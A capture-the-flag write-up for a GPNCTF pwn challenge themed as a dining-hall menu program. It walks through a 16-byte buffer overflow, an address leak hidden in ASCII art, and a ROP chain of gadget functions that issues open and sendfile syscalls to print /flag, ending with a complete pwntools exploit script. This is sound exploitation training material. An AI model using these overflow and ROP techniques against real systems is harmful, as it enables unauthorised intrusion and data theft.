Oh no! Something awfull happened and we let too many cooks cook up this challenge. I hope you can still get something edible out of it…
Category: pwn
Solver: computerdores, hack_the_kitty
Flag: GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!}
Writeup
The challenge binary presents you with a menu to select from. One can select a main dish and a desert.
Welcome to our dining hall! Please select a dish:
-[pizza] A nice and fresh pizza
-[gulasch] It's GPN, it's night and I'm programming. The only thing missing is a hot plate of gulasch!
-[burger] Borgir!
-[leek_soup] A deliciously hearty leek soup. Yum!
-[desert] Give me my dessert! \o/
Selecting pizza, for example, you’ll be greeted by a nice ASCII art pizza:
Here's your Pizza:
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⢠⡠⣄⢠⡂⠺⠁⠫⠭⠂⠉⠉⠧⠰⢀⠤⡤⣀⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠁⡐⠈⠚⠑⠃⠀⠀⢠⣴⣆⠀⠄⣠⢶⠐⣑⠤⠨⡐⠀⣉⠟⢓⠢⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡄⠴⠾⡿⠁⠀⠀⠑⢰⣶⢾⡽⣛⡯⠟⢢⠛⡐⣈⠌⠃⠍⢁⢈⠜⣀⠥⠅⡝⠔⠁⠘⡩⡀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⠈⢑⢀⠔⠑⢘⠃⡞⠥⢢⣾⣿⣾⣿⢿⣭⡙⠞⠓⡐⠊⠌⣥⣾⣾⣷⣷⣿⡖⢸⠘⠰⡄⣀⠓⠤⡙⠱⠤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⡀⢊⠔⠂⠠⢂⣠⡾⡀⠋⠾⡭⢷⣿⣿⣿⣿⣿⣿⢿⡄⡄⡱⠠⣵⣿⣿⣿⣿⣟⣿⣷⡀⢀⡀⣸⢀⢄⠀⡁⣡⡄⡉⠅⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠊⢀⠠⣄⠤⣹⡿⢟⣾⣯⣄⣨⠂⠸⣿⣿⣿⢿⢿⣻⣿⠟⠠⠁⠀⣿⣿⣿⣟⣿⡽⣟⣿⢠⢀⠅⢀⠔⠋⢰⢸⡵⠴⣉⡄⠋⢆⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⡆⢀⡎⠺⡨⣓⢋⣾⣿⣿⣿⣿⣿⣯⠀⡙⠛⢿⣿⣾⠾⠋⠂⢓⠤⡀⠀⠻⢿⡿⣿⠿⠯⠋⠂⠌⣴⣾⣿⣿⣷⣾⡈⠐⠺⢿⡀⡀⠁⠀⠀⠀⠀⠀
⠀⠀⠀⡒⢐⠄⠂⢋⢑⡀⢿⣿⣿⣿⣽⣾⣻⣿⡂⠎⠂⣀⠂⠄⢂⠤⣴⣶⣶⣶⣤⡀⢄⠀⠄⠢⢠⠀⠀⢯⣿⣿⣿⣟⡿⣿⣿⣜⣮⠈⣿⢞⠐⣱⡀⠀⠀⠀
⠀⠀⠋⢂⠊⣠⡔⢜⠐⢠⠊⢿⣿⣿⣿⣿⣿⠟⠁⠀⠡⠰⢅⢎⠒⣾⣿⣿⢿⢿⣿⣷⣾⠠⢊⢕⡙⠀⢈⠼⣿⣿⣿⣿⢿⣿⣿⡟⠷⠭⠁⣿⣤⠀⣷⠀⠀⠀
⠀⣾⡘⢣⡤⡝⠉⢀⢀⡌⡑⡈⠙⠓⠻⠋⠁⣀⣴⣶⣤⣄⢀⠠⠃⣿⣿⣟⣿⣯⣿⣯⡇⠀⠀⠈⢰⡡⠊⠇⠘⠿⣽⣯⠟⠟⡁⣂⠱⢸⠂⠈⠉⢱⢎⠡⠀⠀
⠀⡏⠀⠐⣾⢰⣳⢿⣿⣿⣿⣧⣔⠢⣠⠚⣸⣿⣯⣿⣿⣿⣧⡁⡈⠈⠻⣿⣾⣯⡟⠋⠀⡄⣠⣾⣿⣿⣿⣷⣆⠀⡑⠁⡡⡄⠉⠠⡐⡈⣦⣀⠀⣯⡇⢎⡄⠀
⣸⢃⠊⢼⡗⣸⣷⣿⣿⣿⣿⣿⣧⢚⠐⠀⢻⣿⣿⣻⣽⣿⣻⠀⠀⡀⠔⢂⠡⠃⠀⠀⣤⠑⣾⣟⣷⣿⣻⣿⣿⡇⠀⠈⡗⣰⣐⣀⣤⡉⣼⡋⢅⣛⣂⠠⢳⠀
⡟⡄⠀⢻⠦⠙⣿⣿⣿⣞⣿⣿⡟⠀⠅⢄⠄⠋⠽⠽⠿⠋⠁⡀⢨⣾⣶⣶⣶⣷⣄⠄⢈⠈⢿⣯⣿⣏⣿⣿⣿⢆⢀⣣⣿⣿⣿⣿⣿⣿⣦⠨⡀⢈⡉⠇⢻⡀
⡏⠄⣴⡻⢙⢤⣛⠿⠿⠿⠻⡉⡐⡲⠸⢀⣴⣷⣶⣄⠄⠀⠈⢲⣿⣿⣿⣿⣿⣾⣿⡆⠀⢐⡕⠃⢻⠿⠿⠛⡁⠀⠀⢻⣿⣿⣿⣿⣿⣻⣿⡄⠁⣴⡟⡵⢠⠀
⡗⠂⡹⡷⡌⠨⠽⣠⣐⡀⠐⠅⠑⠑⣴⣾⣿⣿⢿⣿⣦⡀⠀⠘⣿⣿⣿⣿⣿⣿⡿⢇⣀⢨⠑⠠⡪⠄⣦⣴⣥⣴⡀⠚⣿⣿⣽⣯⣿⣿⡟⢁⣀⠙⠁⡁⠮⠀
⣷⠄⢘⡷⣰⣾⣿⣿⣿⣿⣿⣆⣀⠴⣿⣿⣿⡿⣿⣿⣿⣷⠂⡀⠹⢿⣿⡾⣿⡷⠟⠀⠂⡁⣤⡆⠇⣾⣿⡿⣿⣿⣿⣆⠉⠛⠻⢯⠟⠉⠀⠅⢊⡀⣖⢹⣼⠆
⢿⠣⡀⣽⡷⣿⣿⣿⣿⣿⠿⣿⣇⢂⡻⣿⣿⣟⣿⣿⡿⠋⠀⠁⠀⡀⢈⠝⣋⣤⣶⣶⣶⣬⡻⢇⠀⣿⣟⣿⢿⣾⣿⡏⠀⠎⡓⠅⢣⡪⠀⣠⡛⣽⡟⡆⢸⠀
⠘⡧⢠⣗⣽⢿⣿⣿⣿⣿⣿⣿⠇⠈⠁⡌⠻⡛⠛⠩⢆⣡⣄⢤⢀⠢⠂⢠⣿⣿⡿⣿⣿⣻⣷⣦⠂⡈⠻⢿⠿⠿⢪⣡⣶⣾⣥⣆⠀⠀⠮⠼⣿⣿⢿⡩⠓⠀
⠀⠹⡀⢻⣿⣆⠟⠻⠿⠿⢛⡁⣠⣫⣀⣔⣌⠲⠀⢠⣾⣿⢻⣿⢿⣷⡜⢸⣿⣿⣿⣾⣿⣿⣿⢃⠌⠠⠋⠥⠓⢠⣾⢿⣹⣿⣿⣿⣷⡀⠰⢾⡤⣝⠂⣠⠁⠀
⠀⠀⢓⠇⡻⢿⡼⢀⠨⣀⡔⣡⣿⣻⣿⣿⣿⣄⡋⢹⣿⣿⣿⣿⢾⣿⡂⠌⠛⣿⣿⣿⣳⠗⡩⢆⠟⠘⠔⠠⣈⢸⣿⣿⣿⣿⣿⣿⣿⣙⣫⣿⣏⠁⠀⠇⠀⠀
⠀⠀⠀⢧⠌⢐⡙⢆⣊⣏⢈⣿⣿⣿⡿⣽⣝⣿⠅⡨⠻⢿⣿⡾⠿⠋⢀⡀⡽⣭⢱⠹⣊⢞⣄⣴⣶⣶⣶⣥⡈⠈⠻⣿⣿⣿⣿⣿⢋⣾⠶⡃⢛⢉⡐⠀⠀⠀
⠀⠀⠀⠈⢻⣄⠒⡼⣣⡶⣦⢿⣿⣿⣿⣿⣿⡟⠙⣡⡢⡀⢀⢤⣴⣾⣿⣿⣿⣾⣥⡔⠤⢫⣿⣿⣿⣿⣿⣿⣷⣀⠑⡀⣍⠿⣻⠶⠟⠁⠀⣀⢊⠈⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠙⢿⣌⢣⠄⠀⠙⢿⣛⢙⠛⠡⠀⠚⡂⢷⣶⠞⢹⣿⣿⣿⣻⣿⢟⣿⢤⠐⠸⣿⣿⣾⣻⣿⣽⣿⣃⣵⠚⠈⡌⠀⠀⠴⠀⠞⡀⠊⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⢷⣌⢢⡈⠹⠇⢔⡼⣇⡄⠄⠊⠁⣂⡂⢸⣿⣿⣻⣿⣽⣿⣿⣣⠠⠀⠙⢷⣿⡿⣿⡿⣟⣿⣅⠂⠈⢠⣶⣠⡄⢰⠋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠷⣦⣴⢀⢨⠹⡛⢮⠽⢶⡌⢀⢀⠒⠈⢛⠻⡿⠿⢏⣙⠻⣾⠀⣤⣆⡆⣤⣄⠺⢝⡛⢊⠀⠀⠀⠋⡱⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠛⢷⣗⡂⠉⠾⢇⣧⡽⣧⢍⣨⠔⢩⢽⡖⢫⣝⡌⣦⠈⡽⡛⠻⠻⢙⡙⠉⢀⣄⠡⠔⡡⠄⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠣⢦⣪⡉⠪⠯⠜⠻⢖⣿⣿⠆⠈⠓⠀⠀⠛⢌⠁⢀⣀⢀⠔⣠⡿⠌⠃⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠻⠴⠶⠤⠦⠤⠔⠀⢤⡴⡄⠤⠆⠑⠊⠃⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
Sadly, this doesn’t directly gave us an idea how the binary could be exploitable. A buffer overflow, however, seemed likely as a starting point.
Analyzing the Binary In Ghidra
The binary didn’t have its symbols stripped, so we can see methods like dinner, desert and so on.
dinner here definitely is an interesting function, as it provides input for the user!
Having a look at how the functions takes the user’s input, we see a fgets call with a length parameter of 4096 bytes from stdin.
The buffer that take the input, however, is only 16 bytes long. Hah! Classic Buffer overflow.

And more interestingly, the dinner function comes without stack canary check – as compared to the main function, for example…
This means that we’re free to override the return address on the stack.

The stack is not executable, though. We need to find something like ROP gadgets.
Still, we now know an attack vector but still do not really know how to exploit the overflow to get the flag that is placed in the file system at /flag.
The Weird serve Function
Amongst the normal functions for serving the dinner like serve_pizza, there is also a generic serve function that doesn’t seem to be called from anywhere.

Having a look at what this function does, we find that it:
- allocates 3 bytes of anonymous memory with
mmap, those bytes are marked as writable - checks whether a
dish_indexis selected (we do not know, what this is, yet!) - accesses two bytes from the
kitchenarray and writes those to the allocated memory (the array is 48 bytes in length) - copies the
0xc3byte to the third of the allocated bytes- Note that
0xc3is the opcode forretin x86!
- Note that
- marks the allocated memory as executable by changing the protection bits of the allocated memory with
mprotect - calls this allocated memory as a function
- before doing so, it moves the first 64-bit value in the
kitchenarray intorax - furthermore it passes the next three 64-bit integers from the
kitchenarray as arguments (in therdi,rsiandrdxregisters)
- before doing so, it moves the first 64-bit value in the
- unmaps the allocated memory.
Basically, it allows for executing two bytes.
What a coincident! ;) The opcode for syscall in x86-64 is 0f 05 so… two bytes!
If we could only control the two executed bytes, as well as the arguments in rax, rdi, rsi and rdx, we could successfully execute any syscall with 3 or less arguments that we want!
As we know where the flag is in the file system (/flag as always), we could execute an open syscall and print the data in the opened file descriptor to stdout (which is unbuffered by the main function) with the sendfile syscall.
Finding Gadgets
The binary contains more functions that do not seem to be called anywhere.
Amongst them, there are cool and heat as well as salt and pepper.
The later ones modify the dish_index: salt increases the dish_index by one, pepper decreases it.
Both function apply a modulo 48 operation.
heat and cool on the other hand respectively increase or decrease the values in the kitchen array based on the dish_index, where dish_index is the byte index into the kitchen array.
Those functions would allow us to modify the two bytes being used in the serve function as well as the parameters passed to the function.
With the buffer overflow described above, we can create a ROP-chain with those gadgets so that we control the fields just as we want.
One last hurdle is that PIE is enabled on the binary, so we cannot statically pass the addresses of the function to the overflow because of ASLR - we just do not know them. We would need some kind of address leak.
The Lee(a)k Soup
All the serve functions print some kind of ASCII art.
One function has a hint in its name: serve_leek.
With a little bit of randomness, it tells us its own address within the ASCII art.
Yeah… this wasn’t really fun parsing with pwntools… :|

The Finished Exploit
So the plan is with those functions is to:
- Prepare an
opensyscall- place the syscall number
2into the first 64-bit value ofkitchen - place the
"/flag"file path in the 5th value of kitchen, as the first argument toopenmust be a string pointer. Note that we do not know how to get a valid pointer to that string, though! - place the yet-to-find pointer to the string into the second 64-bit value of kitchen
- place the “readonly” flag in the third 64-bit value of kitchen
- call the
servefunction
- place the syscall number
- Prepare the
sendfilesyscall- again, place the syscall number 40 for
sendfileinto the first 64-bit value ofkitchen - place the stdout file descriptor number 1 into the second value
- place the newly opened file descriptor’s number into the third value. As the file doesn’t open other files, this number is very likely to be 3 (
stdin= 0,stdout= 1,stderr= 2, our’s is 3) - place
NULLin the third argument - Note that we would need to provide a length as a fourth argument to
sendfile. According to the assembly the value inrcxat the time of the call is some pointer. The address pointed to by the pointer is likely to be large enough to print the flag. - again, call the
servefunction
- again, place the syscall number 40 for
And indeed, we are greeted with the flag: GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!}. 🥳🍕
The complex interaction of the gadget functions and the parsing of the leak can be seen down below.
#!/usr/bin/env python3
from pwn import *
from pwnlib.elf import elf
from pwnlib.util.packing import p64
from math import ceil
ELF, LEEK, PATH = None, None, None
INC_VAL, INC_IDX, DEC_VAL, DEC_IDX = None, None, None, None
DBL_VAL, EXC_VAL = None, None
def input_sel(p, selection: bytes):
p.recvuntil(b"for your selection: ")
p.sendline(selection)
def select(p, selection: bytes, read = True):
input_sel(p, selection)
if read:
return p.recvuntil(b"Welcome")[:-7]
else:
return None
def leak_via_leek(p):
input_sel(p, b"leek_soup")
p.recvuntil(br" %%% %%%%% %%%%%")
index = p.recv(numb=1)[0]-ord('0')
read = []
p.recvuntil(b"9084019048700")
read.append(p.recv(numb=15))
if index > 0:
p.recvuntil(br"%%%*3010")
read.append(p.recv(numb=15))
if index > 1:
p.recvuntil(br"%%4470634947682243266378903880")
read.append(p.recv(numb=15))
if index > 2:
p.recvuntil(b"%#3249")
read.append(p.recv(numb=15))
if index > 3:
p.recvuntil(br"%0917779825523131271683423008")
read.append(p.recv(numb=15))
if index > 4:
p.recvuntil(b"%%623075963451692433760220882**378548380720*15284747658")
read.append(p.recv(numb=15))
if index > 5:
p.recvuntil(b"%%*4321293")
read.append(p.recv(numb=15))
if index > 6:
p.recvuntil(b"*+80624162+*")
read.append(p.recv(numb=15))
if index > 7:
p.recvuntil(b"%%+19508536741856613777630410503")
read.append(p.recv(numb=15))
if index > 8:
p.recvuntil(b"%%+78252141368908973292357069")
read.append(p.recv(numb=15))
addr = int(read[-1], 10)
p.recvuntil(b"for your selection: ")
p.sendline(b"main")
return addr - LEEK
def move(to: int, curr: int):
off = to - curr
outp = []
if off >= 0:
for i in range(off):
outp.append(INC_IDX)
else:
for i in range(-off):
outp.append(DEC_IDX)
return outp
def set_value(to: int, curr: int):
if curr == to:
return []
outp = [DBL_VAL]
# clear curr
for i in reversed(range(8)):
if to & (2**i):
outp += [INC_VAL]
outp += [DBL_VAL]
return outp[:-1]
def init(elf_path: str):
global ELF, LEEK, PATH
PATH = elf_path
ELF = elf.ELF(PATH)
LEEK = ELF.symbols["serve_leek"]
p = process(PATH)
#p = remote("xxx.ctf.kitctf.de", "443", ssl=True)
context.terminal = ['tmux', 'splitw', '-h']
#pid = gdb.attach(p, gdbscript='b heat\nb flip\nb salt\nb cool\n b pepper\nb serve')
global OFFSET
OFFSET = leak_via_leek(p)
global INC_VAL, INC_IDX, DEC_VAL, DEC_IDX, DBL_VAL, EXC_VAL
INC_VAL = OFFSET + ELF.symbols["heat"]
INC_IDX = OFFSET + ELF.symbols["salt"]
DEC_VAL = OFFSET + ELF.symbols["cool"]
DEC_IDX = OFFSET + ELF.symbols["pepper"]
DBL_VAL = OFFSET + ELF.symbols["flip"]
EXC_VAL = OFFSET + ELF.symbols["serve"]
addr_of_file_path = p64(OFFSET + ELF.symbols['kitchen'] + 32)
global EXPLOIT
# We can issue syscalls with 3 arguments.
# RAX (=syscall no) is the first thingy in kitchen.
# The three arguments are the second to fourth thingy in kitchen.
#
# The general idea is:
# 1. open syscall with file path '/flag'
# 2. sendfile syscall
#
# To do so, we need to prepare the kitchen with the gadgets given by the binary.
EXPLOIT = [
*set_value(2, 0),
*move(8, 0),
*set_value(addr_of_file_path[0], 0),
*move(9, 8),
*set_value(addr_of_file_path[1], 0),
*move(10, 9),
*set_value(addr_of_file_path[2], 0),
*move(11, 10),
*set_value(addr_of_file_path[3], 0),
*move(12, 11),
*set_value(addr_of_file_path[4], 0),
*move(13, 12),
*set_value(addr_of_file_path[5], 0),
*move(14, 13),
*set_value(addr_of_file_path[6], 0),
*move(15, 14),
*set_value(addr_of_file_path[7], 0),
# now the flag buffer.
*move(32, 15),
*set_value(ord('/'), 0),
*move(33, 32),
*set_value(ord('f'), 0),
*move(34, 33),
*set_value(ord('l'), 0),
*move(35, 34),
*set_value(ord('a'), 0),
*move(36, 35),
*set_value(ord('g'), 0),
# readonly is 0x0, so now trigger open syscall
*move(40, 36),
*set_value(0x0f, 0),
*move(41, 40),
*set_value(0x05, 0),
EXC_VAL,
# sendfile is 40 (decimal)
*move(48, 41),
*set_value(40, 2),
# to stdout
*move(8, 0),
*set_value(1, addr_of_file_path[0]),
*move(9, 8),
*set_value(0, addr_of_file_path[1]),
*move(10, 9),
*set_value(0, addr_of_file_path[2]),
*move(11, 10),
*set_value(0, addr_of_file_path[3]),
*move(12, 11),
*set_value(0, addr_of_file_path[4]),
*move(13, 12),
*set_value(0, addr_of_file_path[5]),
*move(14, 13),
*set_value(0, addr_of_file_path[6]),
*move(15, 14),
*set_value(0, addr_of_file_path[7]),
# from opened file
*move(16, 15),
*set_value(3, 0),
# the fourth argument is some pointer according to the disassembly, so we hope it is large enough to print the flag \o/
# syscall is already there, only move index
*move(41, 16),
EXC_VAL,
]
return p
def exploit(p):
payload = b"aaaaaaaaaaaaaaaaaaaaaaaa"
for gad in EXPLOIT:
step = p64(gad)
print(step)
payload += step
select(p, payload)
select(p, b"yogurt", False)
def acc_frames(p):
for i in range(ceil(len(EXPLOIT)/2)):
select(p, b"")
select(p, b"main")
if __name__ == "__main__":
p = init("./too_many_cooks")
acc_frames(p)
exploit(p)
p.interactive()